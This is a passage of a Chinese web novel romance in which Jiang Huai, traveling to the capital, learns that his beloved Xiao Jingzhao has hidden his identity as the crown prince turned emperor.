萧靖昭有些后悔装睡了,这种实质般的目光让人有些难熬。
姜淮看着萧靖昭身上结实的肌肉有些蠢蠢欲动,他倒是跟着萧靖昭练过武,可那是为了自保,而后来就不怎么练了,自然,也没有练出什么肌肉。
可萧靖昭不太一样,对方身上的肌肉不是健身的那种大块肌肉,但是极为匀称,肌肉线条流畅优美,蕴藏力量,以往这些肌肉都是藏着衣物下,哪怕姜淮之前和萧靖昭关系亲密,两人也没有这种半坦诚相见的机会。
要是萧靖昭人清醒着,姜淮就算有什么小心思,可也不会在这个时候行动,但现在萧靖昭不是还睡着,姜淮就有点想要摸一摸。
“摸一下应该没什么吧。”姜淮几乎都可以想象出来,要是萧靖昭醒了,他肯定不好意思这么要求,当然,就算开口了,都可以想象那种羞涩感,但是现在嘛……
摸什么?
萧靖昭还在思考,就感觉胸口一沉,大脑一片空白,只能感觉到姜淮似乎对他的身体很好奇,但是又怕惊醒他,只用手指试探性地碰一碰。
姜淮就像是找到了新玩具一样,摸摸碰碰,新鲜感上来,胆子也大了起来。
萧靖昭备受煎熬,他不敢太紧绷着身体,会被姜淮发现他没有睡着,可这种接触想要装作睡着了,难度可想而知,尤其是姜淮越摸越下,曾经看过的春宫图出现在脑海里,尽管知道姜淮不会如此胆大,可再往下,就要瞒不住,也控制不住了。
姜淮摸着结实的腹肌,只感觉手感绝佳,忍不住多摸了几下,忽然,一只手从旁蹿出,一把攥住了他作乱的手。
姜淮顺着手的方向看去,一双漆黑的眼眸中似乎蕴含火焰,正紧紧盯着他看。
萧靖昭好像被他闹醒了!
等会儿,他刚才在做什么?
姜淮看着自己还放在萧靖昭腹肌上的手,甚至因为萧靖昭抓住了他手,他想迅速收回手,装作什么都没有发生都做不到,这就是人赃并获了。
姜淮手指不自觉颤动了下。
萧靖昭嘶的抽了口气,眼神更加深沉了些。
姜淮脸上涨红,恨不得时间倒退回睡觉前,睡醒的时候摸一下胸口算什么,当时还可以说是不清醒,可现在……
姜淮都不敢想萧靖昭到底是什么醒的,如果是刚刚醒还好,可要是在他刚开始摸的时候就醒了,姜淮只恨脚下没有一条缝,不能让他钻进去,突发色心,刚有点小动作还被喜欢的人发现了,他什么脸都丢完了。
“你,你先休息,我去看看客栈有没有什么饭菜。”姜淮起身就准备开溜,起码先给各自一个缓和心情的时间。
然后还不等姜淮下床,萧靖昭已经一把拦住了他:“你再歇一会,想吃什么吩咐下去,让他们送上来就好。”
“咳咳,怕不符合口味,我再去看看。”姜淮找借口。
萧靖昭轻笑出声,起身拉住姜淮,声音低沉中带着丝委屈:“你是不是想吃了就赖账?”
“不是……”姜淮一个激灵,感觉自己这一系列行动确实有点容易让人误会,猛地转头,就看到萧靖昭满眼笑意地看着他,才意识到他上当了。
“你想摸就摸,摸多久都可以。”萧靖昭握住姜淮的手朝自己的胸口按上去,眼眸含情。
“你……”姜淮感受着手下跳动的心脏,以及润滑的肌肤,憋了半天道,“你在京都是不是学坏了?”
姜淮敢肯定,萧靖昭在安远府绝对没有这么放纵的时刻,或许不能叫放纵,可这和萧靖昭之前的性格差别也太大了吧。
“你喜欢吗?”萧靖昭含笑道。
姜淮说不出话来,他要是不喜欢的话,也不会在刚才被吸引,然后蠢蠢欲动地就行动了。
姜淮怀疑自己有皮肤饥.渴症,因为回忆往昔,姜淮发现自己还挺喜欢人亲密接触,只是在现代的时候,哪怕关系好,可亲人朋友之间的接触也不会太多,至于情侣,他还没有和谁交往过,怎么可能有机会和人亲密接触。
而到了大周,想和人接触就更难,如果只是单纯的想和人接触,不讲究感情,姜淮可以碰的人自然很多,可姜淮并不想这么做,更何况面对陌生人,他的皮肤饥.渴症反应也不大,可现在和萧靖昭只差一步确定关系,前面还能忍忍,现在一破戒……
姜淮自暴自弃地埋头靠了上去,紧紧抱住萧靖昭,就像抱住他小时候的娃娃抱枕。
萧靖昭心中的甜蜜就像是装满了蜜糖的罐子,都快要满溢出来,四肢百骸都透着丝丝让他无比愉悦的甜。
越是喜欢姜淮,萧靖昭就越是忐忑不安,他清楚姜淮的一切,尽管姜淮对他也是喜欢的,可问题是,他的身份是瞒着姜淮的,这一切都是建立在他虚假的身份上。
若是他的真实身份被姜淮得知,姜淮会是什么反应呢。
萧靖昭一开始没有告诉姜淮,是觉得没有必要,可后来随着他对姜淮的感情加深,又是担心事情被姜淮知道后,姜淮为此忧虑,甚至万一他失败,姜淮或许会想为他报仇,可他不想让姜淮背负这些。
而等到后来,越是喜欢姜淮,萧靖昭就越是担心姜淮对他真实身份的看法。
毕竟姜家会被流放,说到底也是因为他,哪怕流放的旨意是皇帝的意思,况且,萧靖昭和姜淮接触的多了,也知道姜淮不喜欢太复杂的事情,更不喜欢过多的牵涉进政务,在姜淮看来,当官的都有八百个心眼子,而且政治理想和私下的情谊都是可以区分开来。
尽管这些都是可以理解的,但是姜淮不愿意将自己改造成这个样子来适应官场。
而皇帝,在姜淮眼中,显然就是一个纯粹的政治机器,可以佩服敬仰,但是敬而远之。
而太子,萧靖昭试探着问过姜淮的态度,对于太子,姜淮有同情,有叹息,可也是不愿意接近。
这样的态度就让萧靖昭更加不敢说明自己的身份,他怕说明了,连朋友都没得做,姜淮会主动和他疏远。
越是接近复仇成功,萧靖昭就越是清楚,他的身份瞒不了多久,哪怕到时候姜淮不在宫中,可他肯定和姜家人有接触,他的身份也瞒不住了,况且,如果真等姜淮进了京都很久才知道他的身份,萧靖昭清楚,那时候姜淮怕是会更加生气。
毕竟先前隐瞒还可以说是情有可原,而后续的隐瞒就说不过去。
只是,姜淮哪怕表现出对他的喜欢,甚至也来试探他的态度,可这些喜欢带来的安心感还不足以让萧靖昭有底气说出他的身份,他怕姜淮权衡过后,还是选择离开他。
但现在姜淮的举动让萧靖昭意识到,或许他身上还有一点格外的吸引姜淮,这让他多少有了些自信。
第65章 第 65 章
靠了一会, 姜淮才发现他先前嫌弃的那股香气之所以没有出现,是因为萧靖昭没有再穿着那件外袍了,只不过他刚刚醒来时, 满眼都是萧靖昭的身体,就没有注意这点。
客栈里虽然点了炭盆取暖,可就算萧靖昭身体好, 只穿着里衣也实在不行, 尤其是刚刚还裸了一点,这要是着凉。
姜淮左右看看, 在床榻下看到了外袍破碎的身影, 再想想自己睡前的动作, 姜淮都能猜出这件外袍是为什么会变成这样了。
“你带了……”刚开口想问问萧靖昭带了换洗的外袍吗, 只是才说到一半, 姜淮就感觉自己是问了废话,谁随便出门还会带换洗的衣裳。
“你先穿我的吧。”姜淮起身, 让人送了衣裳上来。
姜淮的外袍就算做得宽大, 可萧靖昭身形更加高大,哪怕是放宽了穿着, 也显得有些紧绷。
姜淮有些不满意,可萧靖昭确实满意得不行, 这外袍上还熏染了丝丝清淡的果香,就好像将他包围了一般。
看到萧靖昭在那傻乐,姜淮忍不住伸手捏了捏他的脸,也不知道是不是带兵打仗, 萧靖昭的长相并没有太多的变化, 只是眉宇间带着一丝杀气,看起来越发冷冽威严。
可要是作为恋爱对象, 这份气质可太让人心动了,尤其是萧靖昭在他面前会不自觉放松,反差萌让人心跳加速。
不过美色固然诱人,可也不能当饭吃,姜淮白天基本是晕晕乎乎躺着的状态,几乎没有吃什么东西,现在休息了一阵,人精神了点,食欲也跟着上来,才发现肚子饿的咕咕作响。
“先喝点汤?”萧靖昭出声问。
姜淮随行的车队中,方庖厨也是跟了过来,这一路上都是他负责姜淮的饮食,而抵达客栈后,方庖厨就已经去做饭了,只不过不知道姜淮什么时候吃,炒菜又不能久放,所以现在还只是备好了食材,炖了汤。
姜淮点点头。
很快,火腿鲜笋汤就送了上来。
人饿的时候更加抵抗不住美食的诱.惑,汤碗盖一揭开,那股鲜香气就馋的姜淮眼睛都直了。
看到姜淮的注意力被汤给吸引了,萧靖昭忍不住扯了扯姜淮的衣袖。
察觉到袖子上传来的力道,姜淮回头,看到了萧靖昭眼中的在意,只觉得无比可爱,忍不住摸了摸萧靖昭的脑袋:“你赶着来,也没有吃吧,我们一起吃。”
火腿鲜笋汤炖的分量不少,姜淮拿起碗,准备给萧靖昭盛一碗,只不过他刚将碗拿起来,萧靖昭就已经将碗抢了过去:“小心烫。”
“我烫,你不烫?”看着萧靖昭已经在舀汤了,姜淮没有再试图抢回来,无奈道。
姜淮不知道是不是他的错觉,这么久没有见面,他感觉萧靖昭对他越发的小心紧张起来,甚至是想要讨好他,尽管做的事没有什么区别,可那种态度很明显。
“有茧子隔热,不烫。”萧靖昭盛好了汤,放到姜淮面前。
这话转移了姜淮的注意力,姜淮一把攥住萧靖昭的手,两人的手摊平对比,和萧靖昭相比,姜淮的手要更略微小一点,也更白皙,而手上的茧子对比,姜淮忍不住摩挲一下。
明明隔着手心厚实的茧子,萧靖昭不该有什么感觉的,可轻轻碰一下,萧靖昭只感觉手心传来一阵无法抵御的痒意,五指不自觉蜷缩,将姜淮的手包在掌心。
刚才的动作其实要更亲密一些的,姜淮也只是在意识到萧靖昭醒了的时候尴尬了一会,羞涩的感觉有,但是不算特别多,可此刻,姜淮脸上倒是不算发烫,可心跳的极快,让他眼前都一阵眩晕。
姜淮身子晃了晃,就被萧靖昭一把抱住了。
“是不是还没有歇好,让杜大夫来看看?”萧靖昭的抵抗力比姜淮要强一点,毕竟他刚才可是忍耐了好一会,看到姜淮这样眩晕的样子,只以为是姜淮又身体不适了。
“没事。”一听到萧靖昭说杜大夫,姜淮整个人都清醒了,他自己的身体自己清楚,这要是没有找杜大夫,缓一缓就好了,可要是喊了杜大夫,这一路的颠簸疲倦,就算没有什么大事,说不定还得喝点药补一补。
想想汤药的味道,姜淮深吸口气,将手从萧靖昭手里抽出,决心等身体好之前,先不能太亲密,不然现在的身体好像有点吃不消这种让他过于激动的动作。
“可能是太想喝汤了,我先喝了。”姜淮坐下,舀着鲜汤喝了起来。
不得不说,美食就是能安抚人心,姜淮感觉从暧.昧的气氛中抽身,再喝几口汤,心跳也跟着平缓了下来。
萧靖昭将姜淮的一举一动都看在眼中,虽然并没有猜到姜淮的想法,可姜淮这种刻意的脱离让他有些不安。
姜淮从碗里抬头,看到萧靖昭的眼神,忍不住心中叹了口气,拉着萧靖昭的手,让对方坐到他身边来,想要安抚他一下。
“喝吗?”姜淮舀了一勺汤问。
只不过问完,姜淮才想起来,这是从他碗里舀出来的,还没等姜淮换个勺子,萧靖昭已经低头就着姜淮的汤勺,一口将汤喝了下去。
见萧靖昭都喝了,姜淮干脆多喂了几口,将碗里的汤都喂给萧靖昭,萧靖昭也一口口的都吃完了。
“京都出事了吗?”之前哪怕姜淮发现了萧靖昭的不对劲,可也没有多问,可现在,姜淮犹豫了一番,还是问出口,萧靖昭的不安感太明显了,他不想让对方继续这样下去。
可要说什么事能让萧靖昭不安,姜淮也只能想到京都出事了。
姜淮忐忑之际,就看萧靖昭摇了摇头。
不是京都出事,那莫非是太子,不对,现在要叫新帝的事?
姜淮对原文中的太子印象深刻,但是了解并不多,毕竟原文笔墨并没有描绘太多,可也知道太子自从被皇帝谋害后,对于权力的掌控欲爆棚,兵权也看得非常重,而萧靖昭,姜淮记得萧靖昭这几年升得极快,可以说是和卫轩几乎平级了。
卫轩是太子的舅舅,加上是一条船上的人,可能没有那么容易被忌惮,可萧靖昭是外人,太子要掌权,必然是先从萧靖昭手上收权了,说不定就在京都这些天,萧靖昭被明里暗里的排挤,或者没有这么严重,可也是被人提点要如何如何小心谨慎。
姜淮越想越虐,眉头不自觉地皱起,压低声音道:“是不是陛下对你有忌惮?”
“要是他对你不好,大不了这官我们不当了,反正这么些年赚的银子,也够休息一辈子了。”姜淮眼神坚定道,“要是这样陛下还不满意,大不了我们就一走了之。”
萧靖昭愣住,姜淮说第一句的时候,他还不知道姜淮口中的陛下指的是谁,可接下来的话足以让他明白,这个所谓的陛下指的就是他,姜淮是以为他被新帝欺负了。
听到姜淮说到一走了之,甚至都开始说去哪里能避开这些纷扰,萧靖昭赶忙出声道:“也不是。”
他不能接受姜淮试图离开,甚至顺着对方的话这么想一想,都感觉身心冰凉。
“那是出了什么事让你这么……”姜淮脱口而出,忽然想起他先前抓住那波刺客的念头,该不会这个世界又来搞事吧。
姜淮上下看着萧靖昭,意识到一个问题。
萧靖昭从皂卒到统领大军的将领,而且还有从龙之功,经历堪称传奇,按照一般的小说套路,抵达京都后,应该会有更多的剧情。
比如说身份之谜,本以为是什么普通百姓,实则确实某个世家被遗弃或者拐走的子弟,回到京都后意外知晓了自己的身份。
不过如果是这个的话,应该还不足以让萧靖昭这么紧张,说不定后面还有什么娃娃亲的婚约,或者什么英雄救美的爱情……
萧靖昭不知道姜淮在想什么,只感觉被姜淮看着,后背越来越凉了。
“淮儿……”萧靖昭出声打断姜淮的思路。
姜淮的思路被打断,又感觉自己的猜测有点奇葩,但还是忍不住试探性地问了一句:“这事是不是和你的身世有关?”
姜淮莫非是猜出了他的身份?
萧靖昭闻言心头一震,下意识看向姜淮的眼睛,想看看姜淮猜测出来后的反应。
萧靖昭这个动作几乎就是点明了情况,姜淮想到自己刚才的猜测,忍不住全都问了出来。
萧靖昭忐忑的听到姜淮的问话,不知道是该松口气还是可惜,如果可以的话,他不想让姜淮从其他人口中明了他的身份,可现在,他也不知道要如何开口,如果是姜淮猜出来了就好,可姜淮的想法过于变幻莫测了些。
不过,姜淮能脑洞大开到这种程度,到时候他的身份暴露,姜淮或许也不会太惊讶吧。
“那到底是什么?”见萧靖昭否认,姜淮不猜了,直接问。
“淮儿,我原本的身份并非皂卒,只是为了安全,才隐瞒下来,后来……”萧靖昭将他的心路历程一一道来。
“所以,你原本是什么身份?”姜淮听完,有点好奇。
萧靖昭眨了眨眼睛,这个时候该开口了,只是萧靖昭想到姜淮刚才误以为新帝忌惮他,毫不犹豫就想放下一切离开的态度,忽然不敢开口。
第66章 第 66 章
“你要是知道了, 恐怕会生气。”萧靖昭低头,眼睫微垂,脸上透露出丝丝不安。
生气?
姜淮有点好奇, 萧靖昭到底是什么身份,才会让他生气,只不过看着萧靖昭这个样子, 姜淮也不想继续问下去, 他自觉不管萧靖昭是什么身份,都不至于影响他和萧靖昭此刻的感情。
不过萧靖昭的这个表情, 让姜淮又有了一个猜测。
“该不会是我们的长辈关系不好, 有仇?”
萧靖昭想到皇帝对姜家做的事, 迟疑地点点头, 这也算是有仇吧。
“你向着你家的长辈?”姜淮问, 他现在也不了解是结了什么仇,也不好说要怎么看待, 但是长辈间结仇是长辈的事, 他和萧靖昭又没有仇怨,自然得先看看萧靖昭的态度。
萧靖昭猛摇头, 他怎么可能向着皇帝。
“好了,我知道你的态度了。”姜淮都怕萧靖昭把头摇晕, “既然你不向着你的长辈,那不管是什么恩怨,也都是上一辈的恩怨,不会影响我们之间的感情。”
而且要说感情深浅, 姜淮觉得他对萧靖昭的感情可能比对姜家人更深。
哪怕有原来的记忆, 可快五年了,他和萧靖昭相处的时间已经远超过记忆中和姜家人的接触, 这一路上同甘共苦,只是长辈间的恩怨,姜淮不太在意。
不过姜淮也是看出来了,萧靖昭真的很在意自己的身份,不然不会这么不安。
“行了,你先别说,等我到了京都,我自己来猜猜看。”姜淮拦住了萧靖昭即将出口的话语,既然这身份这么难以说出口,他也不想让萧靖昭逼着自己说出来,还是让他来猜猜看。
“好了,不准说。”眼看萧靖昭眼神坚毅,显然是被他这话触动,想要开口了,姜淮一边说一边捂住他的嘴巴,“我要自己猜猜看,也不知道得过多久才能猜出来。”
“我现在松手,你不准趁我不注意说出来啊。”姜淮也不可能一直捂着萧靖昭的嘴巴,等了一会,觉得萧靖昭应该明白他的态度,这才松开手,不过也没有放松警惕,万一萧靖昭有开口的预兆,就准备再捂住他的嘴巴。
好在这次,萧靖昭是真的放弃了。
因为萧靖昭仔细地想过,等明日到了京都,姜淮大概就可以发现他的身份了。
……
萧靖昭在客栈住了一晚,次日陪着姜淮用了早膳依旧不想离开。
萧靖昭很想陪着姜淮,因为等到了京都,姜淮发现他的身份后,看向他的目光就不会像现在这样了。
“这又不是什么生离……”姜淮看萧靖昭这恋恋不舍地样子,笑着调侃,只是话说到一半,对上萧靖昭不赞同的目光,感觉自己这话说得不太吉利,赶紧又咽了回去。
“放心吧,等到了京都,马上就能再见面,就算不能一起吃午膳,晚膳肯定能一起吃的。”姜淮说着,忽然想起他忘了问的一件事。
“你在京都买的宅子在哪?”姜淮记得萧靖昭上次送信回来没有说这事,昨天看到萧靖昭的时候他都忘了问这事了。
宅子?
萧靖昭握了握拳,他只想让姜淮住在皇宫里,这置办宅子的事自然也就没有做,因为不管宫外的宅邸有多好,可有一个缺点是他无法容忍的,距离皇宫太远了。
“你没买?”姜淮看出萧靖昭的犹豫,“是没有看到什么好宅子吗?”
“回京后,有祖宅。”萧靖昭低声回道,这话也没错,皇宫可是传了一百多年的祖宅,唯一的问题就是这个祖宅有点太大了。
“有祖宅,但是一大家子的住一起,还是算了吧,我们还是置办自己的宅邸比较好,住的也舒心。”姜淮说,他可不太喜欢和长辈住一起,不说别的,就古代这孝道礼节什么的,一大家子住一起,想想都头大,还是一个人住得舒服。
“现在只有我住。”萧靖昭生怕姜淮误会他没有放心上,补充道。
一个人住祖宅?
“你家里的长辈同辈什么的,还在吗?”姜淮犹豫了一下,问了出来。
“还在。”萧靖昭眨了眨眼道。
姜淮忽然感觉萧靖昭家里的情况大概是有点复杂的,如果长辈同辈什么的都在,在古代,一般不太会分开住,尤其是这种大家族,可现在只有萧靖昭一个人住祖宅。
如果是其他人主动分家离开,那只能说萧靖昭不受待见,但是因为他现在的身份,对方不得不低头,要是被赶走,那关系恐怕是更不好了,说不定还有其他的麻烦。
想到这里,姜淮都有点怜爱萧靖昭,忍不住摸了一把头。
“没事,到时候我们两个人住一起,或者再置办一个宅子。”毕竟祖宅听着就感觉很有年代感,而且以往那么多人住,现在只有他们两个人住,他们也可能有后代,住个大宅子还是有点发虚。
听着姜淮说着对住处的想法,萧靖昭眼眸微颤。
“不过,祖宅我就先不过去了吧。”姜淮感觉直接住进去,多少还是有点不太习惯,那宅子里的下人肯定很多,说不定还有什么论资排辈的,他带来的人还要进行磨合,想想就很麻烦。
如果精力充沛,倒是能管理一下,可现在,他只想好好歇一歇。
听到姜淮说让他看看有没有什么可以暂时租住一阵的宅子,萧靖昭感觉从暴露的悬崖边拉回了一点,可又有些懊悔。
“你要是……”看萧靖昭的态度,姜淮还以为对方不太想这样,正要改口,就见萧靖昭点点头,表示马上就去给姜淮看宅子。
“也不用太着急,大不了就再住住客栈。”姜淮安抚道,反正客栈也不是不能住,不过姜淮说了这么多,还是没有想到回姜家去住。
被姜淮交代了一个任务后,萧靖昭也不磨蹭了,直接出发。
看到萧靖昭骑马离开,姜淮有点羡慕,如果可以的话,姜淮也想骑马的,坐马车太累了,骑马虽然也累,但是不至于那么晕。
只是天气有点凉,再加上姜淮的身体经过一晚休息,虽然恢复了不少,可骑马还是太消耗体力,在马车上有什么不舒适,立刻就可以休息,也很安全,可要是骑马不舒服,万一松手从马上掉下来,那危险就太高了。
一路驱车,在路上,姜淮掀开帘子朝外看了看,不知道是不是战事对百姓造成了影响,路上的人并不算多,起码没有姜淮记忆中的行人多,而进了京都后,倒是驱散了这种荒凉感。
京都是一如既往的热闹,好像之前的战事一点影响也没有,甚至连京都的城墙都不像是经过战事的样子。
不过姜淮倒是听说,京都确实是没有经过战火,直接从内就开城门,将太子的人迎了进去。
姜淮正想着该去哪里,虽然他走得慢吞吞的,但是看房子不是一时半会就能完成的事,更何况萧靖昭肯定也是有公务在身的,就这么半天时间,指不定也找不出什么好房子,还是去客栈住算了。
只是姜淮还没有问哪里有客栈,就有人先找了过来,姜淮一眼就认出是先前萧靖昭身边的亲卫,对方早早就等着他们了,一看到姜淮所在的车队,就带着他们去了居所。
“这么快就找好了?”姜淮好奇,左右看了看,没有见到萧靖昭,有些失望。
“陛……毕竟,将军先前就看过这些宅子,知晓这些宅子哪些好,只是有了祖宅,所以才没买下来。”亲卫回道,差点就将萧靖昭的身份说了出来,只是想到姜淮还不清楚萧靖昭的身份,才飞快改口。
“我就说。”姜淮笑出声,他记得说出祖宅前,萧靖昭还犹豫了下,看来那时候说不定是想瞒下这些宅子的事,让他直接住过去。
马车左转右转,越走越僻静,不过僻静可不代表偏僻,姜淮看得出来,这附近的宅子人家都是非富即贵,不过姜淮也没有太过惊讶,毕竟萧靖昭特意找的宅子要是不好,那才奇怪了。
很快,马车就在一处宅邸前停下,仆从都站在门口等着新主人进来。
这些人都是萧靖昭精心挑选出来的,每个人都机灵得很,哪怕没有见到姜淮,都是一心将姜淮当作主人对待,绝对不敢有丝毫的捧高踩低心思。
因为萧靖昭知道,姜淮虽然感觉敏锐,但是为人不苛刻,哪怕感觉到对方的一点小心思,可也不会太在意,可姜淮不在意,他在意,他不能容忍有人对姜淮有一点的不恭敬。
所以在京都的这阵子,处理完朝堂的事务,萧靖昭还特意教出一批足够机灵,又足够清醒的下人,好让他们能保护姜淮。
姜淮倒是一点没有看出来,只是进了宅邸后,发现这些仆从都意外的聪明,行事作风也很符合他的习惯,显然,这些都不会是巧合,这都是萧靖昭精心安排的。
姜淮到了的消息很快就传到了萧靖昭耳中,知道姜淮就住在离皇宫不远的地方,哪怕早上才刚刚分开,萧靖昭就想再去看看姜淮。
第67章 第 67 章
萧靖昭想到姜淮时, 姜淮也想起了萧靖昭。
“魏西是在哪当值的?我去接他。”姜淮问亲卫。
亲卫来迎接姜淮前做好了面对各种问题的准备,可这再怎么准备,也没有想到姜淮居然要去接萧靖昭下值, 可萧靖昭此刻正在永安宫,这个地方肯定是不能说的。
可要说其他地方,姜淮要是进去找人, 这要是没有找到, 那就暴露了。
亲卫急出了一头冷汗,最后在姜淮的目光下回道:“将军被召入宫中, 不知何时才能回来。”
“进宫了?”姜淮说, “那我在宫门口等等他吧, 这么晚了, 应该不会留太久吧。”
见姜淮打定主意了, 亲卫也不敢拦他,只能按照姜淮的吩咐, 准备马车, 载着姜淮去皇宫外等着。
只是这边撒谎了,这消息肯定得赶紧传到萧靖昭耳中, 不然这戏就要被戳穿了。
而得知姜淮到了,萧靖昭就更加坐不住了, 姜淮旅途辛苦,还要等他一起用膳,他怎么舍得让姜淮久等。
卫轩本以为萧靖昭已经将身份告知姜淮了,可看萧靖昭这态度, 就知道他大概是没敢说, 现在要伪装原来的身份,这可比在安远府难多了。
安远府认出萧靖昭的人并不多, 加上他一向只出入军营,自然也就没那么容易暴露,可京都认识萧靖昭的人太多了,这怎么能在姜淮面前瞒着呢。
不说别的,就等姜家人回来,怕就瞒不住了吧,而算算时间,姜家人大概也不会比姜淮晚多少进京。
……
宫门外的人来来往往的,毕竟如今正是忙碌之际,不过停着马车只有姜淮这一辆,倒是显得有些特别。
路过的人都下意识看一眼,想看看这是谁家在这等着,不过姜淮的马车确实眼生,也没有什么特殊的标记,路过的人看了两眼看不出什么,也就收回视线了。
如今事务繁忙,哪里有精力去探究一辆马车,哪怕这马车的出现有些特别。
姜淮坐在马车内没有出去,本来姜淮是想出去的,只是这路过的人,姜淮硬是发现好几张存在记忆中的面孔,不算特别熟悉,但是对方说不定会记得他。
这要是让对方看到了,岂不是要寒暄几句,姜淮现在没有什么精力去和人客套,于是就只坐在马车内,偶尔掀开车帘朝外看看萧靖昭出来没。
不过路过之人的目光姜淮也注意到了,只是这时候都已经在这等了这么会,突然再换位置,就更醒目了,只能继续耐心地等着萧靖昭出来。
好在,没有让姜淮等多久,萧靖昭就从宫里出来了。
“还是头一次看你穿得这么……华贵”姜淮上下打量萧靖昭,有点被惊艳到了。
不等萧靖昭解释什么,姜淮赶紧拉着他上了马车,催着车夫回去,这天气在外面等了这么会儿,哪怕马车里有暖炉,也是有点凉的。
“我已经吩咐好了,估计都已经做好了饭菜,就等我们回去吃。”姜淮絮絮叨叨地说着,都是些非常细碎的小事,但是萧靖昭听得极为仔细。
马车驶过一条小巷,马上就到姜府了,谁知道前方也有马车过来,速度还有些快,原本这巷子是两辆马车都能过的,因为来人的速度过快,哪怕车夫技术极好,却也擦了一下。
猝不及防之下,姜淮身形一晃,直接撞向一旁的车壁,好在萧靖昭眼疾手快,一把拉住了姜淮,才不至于让姜淮撞个眼冒金星。
“你们是哪个府上的,冒冒失失,这可是……”外面有人开口厉声斥责。
姜淮皱了皱眉,就算对方还没有自保名号,可就这态度,显然也是不好得罪的人,或者说本性就是跋扈。
这要是在安远府,就算有这种人,可也比较少见,可在京都,这样的人还不知道有多少,哪怕有些人府上没有什么势力了,可姻亲故旧什么的,七绕八绕的,指不定又能扯上点什么关系,光想想这点就头痛了。
姜淮知道,自己不出面,事情是不好解决了,一把掀开车帘,恰巧,对面马车的主人也掀开帘子,有些不悦地低声说:“云福,不得无礼,这本就是……”
来人一边训斥身边的小厮,一边看向姜淮这边,嘴角带笑,似乎是想和姜淮致歉,而这一抬头,对上姜淮目光的同时,却也恰好对上了萧靖昭的脸。
“太子殿下……”因为过于震惊,萧泽阳的声音都有些破音了。
只是在喊出声后,萧泽阳很快就反应过来,这马车看着极为普通,说明萧靖昭是隐瞒身份出宫的,而他现在叫破了对方的身份,怕是误事了。
萧泽阳左右看了看,发现旁边并没有外人,这才稍微松了口气,却还是有些忐忑地看向萧靖昭,生怕触怒对方。
然后这一看,萧泽阳就发现萧靖昭的反应似乎有些怪,对方完全没有在意他,而是目光紧紧地盯着坐在他前方的俊美青年身上,身体紧绷,似乎在紧张什么。
太子殿下?
刚刚听到这一声喊话时,姜淮还没有反应过来,可看到来人的目光都落到他身后时,姜淮脑子运转得飞快,没有过多思考就意识到了萧靖昭先前和他说过的隐瞒身份到底是什么意思。
想到萧靖昭先前说的先辈有仇,那能不有仇吗?
至于祖宅什么的,皇宫也确实算是祖宅了,至于说只住萧靖昭一个人,那也是再寻常不过,哪个皇帝会允许其他宗亲住到皇宫里来,除非是自己的子嗣,可萧靖昭还一个子嗣也没有呢,自然也就他一个人住了。
以前一些觉得奇怪的事情似乎都有解释得通的理由了。
姜淮能感受到萧靖昭扯住了他的衣袖,没有特别大的力,只是轻轻地牵着,他一用力就能扯开,只是这力道却让人难以忽视。
萧泽阳发现两人微妙的气氛,更是大气都不敢出,他意识到,萧靖昭瞒着身份,或许不是瞒其他人,而是瞒着眼前这个青年,只是却被他一语道破。
想到萧靖昭是怎么处理皇帝和其他妃嫔皇子的,萧泽阳艰难地吞了口口水,他本来想着老实点,萧靖昭也不会把他放在眼里,说不定还有去封地的可能,实在不行也可以在京都闲散地过一辈子,可现在……
“……”萧靖昭等了许久也没有等到姜淮的反应,更加紧张起来,想喊一声,又怕引起姜淮的反感,只能握紧衣袖不敢松手。
“先回去再说。”姜淮强行整理好心绪,回头看了眼萧靖昭,说了一句就落下车帘。
至于外面的人,他也不想再说什么了,因为对方说破了萧靖昭的身份,他有点迁怒。
如果对方没有说,他什么都不知道,今天还能开心地吃一顿饭,可现在,姜淮感觉胃口都没了。
至于萧靖昭,姜淮瞥了眼萧靖昭身上的衣衫,刚看的时候他还没有多想为什么没有穿官服,可现在想想,指不定就是在宫里换了衣服出来,可皇宫里应该是没有备官服,或者说官服不好看。
马车很快就抵达了姜府,迎上来的仆从看到姜淮冷着脸下来还没有想太多,可一直跟在姜淮身边的下人就意识到问题了,姜淮很少有冷脸的状态,尤其是身边跟着萧靖昭时,两人何时这样冷过脸。
姜淮大步朝府内走去,只是看到这座府邸,又想到了萧靖昭的身份。
他刚来的时候看到这宅邸,加上这宅邸离皇宫挺近的,还想着萧靖昭怕是准备了很久,不然怎么能找到这么好的宅邸,可现在看来,分明是做了两手准备。
姜淮往里走,萧靖昭却停了下来,他看得出来姜淮为这事很生气,他不知道自己再跟着进去的话,姜淮会不会更生气。
哪怕这是姜淮让他跟着回来的,可生气是不受控制的,万一气过头伤身了……
没有听到身后的脚步声,姜淮顿了顿,扭头看过去,就看到萧靖昭站在门外担忧地看着他,却不敢进来,活像是个怯生生的小媳妇。
明知道萧靖昭不可能就这么轻易地受伤,可是看到他这个样子,姜淮还是有些不忍心。
之前的感情不是假的,相处了那么久,哪怕知道了萧靖昭的真实身份,姜淮也无法就这么轻易地改变对萧靖昭的态度。
“进来吧,先吃饭,吃完了再说。”丢下这句话,姜淮继续往前走。
萧靖昭紧紧跟了过来,落后姜淮一步,亦步亦趋地跟着姜淮。
今天这顿饭,方庖厨可谓是使出了浑身解数,就想让姜淮满意,只是这次的结果就让他失望了,姜淮吃得并不多,只能说是为了身体健康,勉强吃了一点,吃了六七分饱就吃不下去了,而萧靖昭这个平时吃得最多的人也食不下咽。
萧靖昭想过很多种结果,可在放弃说破身份后,萧靖昭觉得自己或许还能再缓几天,却没想到,在姜淮刚刚进京,他就被人当面戳破了身份。
唯一让萧靖昭庆幸的就是,姜淮似乎还对他有感情,并没有直接抛下他离开。
第68章 第 68 章
饭吃完了, 姜淮看着萧靖昭,又不知道该说什么了。
之前他说能接受萧靖昭的身份,可这个接受不包括接受萧靖昭是太子。
不光是因为萧靖昭是太子后, 姜淮预想的往后生活都会发生翻天覆地的变化,还因为在流放路上和萧靖昭相依为命,还透露出了未来的事, 哪怕是借了先祖托梦的借口, 可也让姜淮在面前萧靖昭时不那么的小心谨慎。
如果萧靖昭的身份普通,哪怕是什么世家外室子, 或者宗室都还好, 可偏偏对方是太子, 那他以前透露出来的那些信息, 对方会分析不出什么吗?
姜淮从来不会低估古人的智慧, 更被说从小在宫廷中长大的人,更是心细如发, 姜淮会感觉自己在萧靖昭应该就是个透明人, 可他对萧靖昭的了解全是建立在虚假上的。
姜淮不觉得萧靖昭在他面前表现出来的性格都是伪装,可真性情估计也不占多少了, 如果性格变了,那他爱的真是萧靖昭吗?
而且最重要的一点, 萧靖昭将他看得如此清楚,那他们之间的感情算是什么。
姜淮越想越后悔让萧靖昭过来了,面对萧靖昭,他都不知道该说什么了。
